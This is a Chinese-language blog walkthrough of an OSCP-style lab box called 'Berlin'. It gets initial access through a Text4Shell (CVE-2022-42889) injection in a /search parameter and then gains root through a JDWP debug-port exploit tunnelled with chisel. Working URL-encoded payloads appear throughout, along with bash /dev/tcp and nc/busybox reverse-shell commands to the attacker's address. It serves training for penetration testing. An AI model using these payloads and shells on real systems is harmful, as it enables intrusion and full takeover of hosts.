Challenge 5 - Berlin

 Challenge 5 - Berlin

└─$ rustscan -a 192.168.193.150 --scripts none --ulimit 5000 | tee rustscan




└─$ sudo nmap -sCV -p 22,8080 192.168.193.150 | tee nmap       

只有兩個 Port,22 看來是標準 SSH,8080 顯示 http-favicon: Spring Java Framework




└─$ sudo nmap -sU -p 161 192.168.193.150 | tee nmap-snmp,snmp 沒開




└─$ whatweb http://192.168.193.150:8080 | tee whatweb




└─$ gobuster -w dirfuzzing.txt dir -u http://192.168.193.150:8080 -k -t 150 -x txt,pdf,git,php | tee gobuster-8080

有個 /search 看來比較有用




用瀏覽器打開後網頁顯示 query & result,馬上帶入 query string "query=ooxx" 試試看

http://192.168.193.150:8080/search?query=whoami 發現帶入有顯示但沒顯示輸出




測試了一番後發現這個是透過 Java 的方式執行的命令所以語法前面要使用

${script:javascript:java.lang.Runtime.getRuntime().exec('要執行的命令')}

可以參考這一篇 https://github.com/cxzero/CVE-2022-42889-text4shell 不同的 JDK 版本使用的標準語法不同,靶機環境是一個 JDK < 15 的環境

JDK < 15 :

${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

JDK 15+

${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}



且輸入後的命令執行結果跟課程教材中 SQL Injection 其中一題一樣,輸入的結果是有用的只是不會顯示結果,所以要進行相關的測試來看可以達到甚麼指令與知道沒有結果,另外要記得所有透過網址傳送的指令要先經過 URL Encode 處理

這裡我們可以測試一段 ping 的指令,例如輸入

${script:javascript:java.lang.Runtime.getRuntime().exec('ping 192.168.45.240')}

URL Encode 後是 

%2Fsearch%3Fquery%3D%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ping%20192.168.45.240%27%29%7D

讓我們透過 Burp Suite 測試如下圖,送出指令是 ping kali




讓我們在 VPN Interface 上進行 tcpdump 監聽

└─$ sudo tcpdump -i tun0 host 192.168.193.150

執行後發現看到一來一回的 ICMP 封包



所以下一步就是透過指令直接建 reverse shell 回來到 kali

經過一番測試與 Search 後有兩個注意事項,第一個是指令的用法如下

/search?query=${script:javascript:java.lang.Runtime.getRuntime().exec('bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.45.240/443 0>&1')}

第二個是靶機出來僅能透過有限的 Port 進行連線,443 是其中一個

Encode 後如下 /search?query=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27bash%20-c%20%24%40%7Cbash%200%20echo%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.240%2F443%200%3E%261%27%29%7D




nc listen 443 進來了,看來是一般是用者 dev,直接拿第一階段答案




標準作業上傳 nc、linpeas.sh



記得將兩個檔案都加上 chmod +x 讓他們可被執行




再建一個 session 回來 ./nc 192.168.45.240 4443 -e /bin/bash &




另一種不需要用到 nc 直接用內建的方式建立 4443 session 回來,指令如下

bash -c "bash -i >& /dev/tcp/192.168.45.240/4443 0>&1" &

但這個回來會卡卡的,看來適合用在 oneliner



標準作業,下一步執行 ./linpeas.sh | tee linpeas.txt




查看後告知 jdwp 有 95% 可以 PE,那就先試試看 jdwp

root         852  0.0  1.7 2528964 35144 ?       Ssl  13:00   0:00 java -Xdebug -Xrunjdwp:transport=dt_socket,address=8000,server=y /opt/stats/App.java




searchsploit jdwp、searchsploit -m 46501




python3 跑下去發生 print error 看來這個是 python2 的 code

改換 python2 執行看看,告知要帶參數如下

usage: 46501.py [-h] -t IP [-p PORT] [--break-on JAVA_METHOD] [--cmd COMMAND]




查看 linpeas.sh 上的 jdwp 時有顯示服務跑在 8000 Port 上,所以看來是一個只能在本機上面跑來提權用的 python code,那就上傳 46501.py 到靶機吧,在靶機上執行 netstat -an 也確實有看到本機 127.0.0.1 listen 了一個 8000 Port,所以看來只能在本機上面跑了




那就直接執行吧,dev@oscp:~$ python2 46501.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexOf" --cmd "busybox nc 192.168.45.240 53 -e /bin/bash"

結果 GG 太糟糕了,靶機上無法執行 python2,[ Command 'python2' not found ]



kali 可以跑 python2 然後又要在靶機上面執行該 python code 才能有用

唯一解法就是搭建 tunnle,將靶機的 127.0.0.1 socks 整個轉到 kali

先上傳 chisel 吧,然後開始搭建 tunnel

kali : └─$ chisel server --port 8081 --reverse

靶機 : ./chisel client 192.168.45.240:8081 R:socks > /dev/null 2>&1 &
這裡的 chisel client 參數要加上 > /dev/null 2>&1 & 後續 python code 才能正常執行




帶上參數直接執行吧 proxychains -q python2 46501.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexOf" --cmd "busybox nc 192.168.45.240 53 -e /bin/bash"

執行後發現會停止在一半 [+] Waiting for an event on 'java.lang.String.indexOf'




這個原因是因為 /opt/stats/App.java 裡面有寫事件觸發 listen 在 5000 Port,可以在靶機上執行 netstat -an 就能看到多了 listen 5000 port,之前是沒有的,跑完 python 才會出現的





所以在靶機的  tty 中執行 telnet 127.0.0.1 5000 去觸發事件




原本跑一半卡住的 python code 就會跑完了




nc listen 53 在 python code 跑完後也進來了,直接改 tty mode "script -c /bin/bash -q /dev/null"

然後 whoami 與 id 看一下確認是 root 了,那就直接拿答案吧




補充說明,指令當中用到的 --break-on "java.lang.String.indexOf"

可以在當初跑 python2 46501.py 時可以看到這是 JAVA_METHOD




可以在這找到許多範例 https://www.w3schools.com/java/ref_string_indexof.asp

以及這裡的說明 https://www.tutorialspoint.com/java/lang/string_indexof_string.htm





另外最後我們要跑 nc 執行 reverse shell 時最前面帶了 busybox 如下

"busybox nc 192.168.45.240 53 -e /bin/bash"

這是因為在 JAVA Debug mode 中,所有指令是透過 busybox 這個模組提供的

busybox 模組有提供的指令可以參考這個網站,例如我們這次使用的 nc

https://blog.devcloud.com.tw/shi-yong-busybox-jian-li-dang-an-xi-tong/





busybox 使用時的指令方式可以參考這個網站

busybox概述-CSDN博客,我們使用的是第一種方式





留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)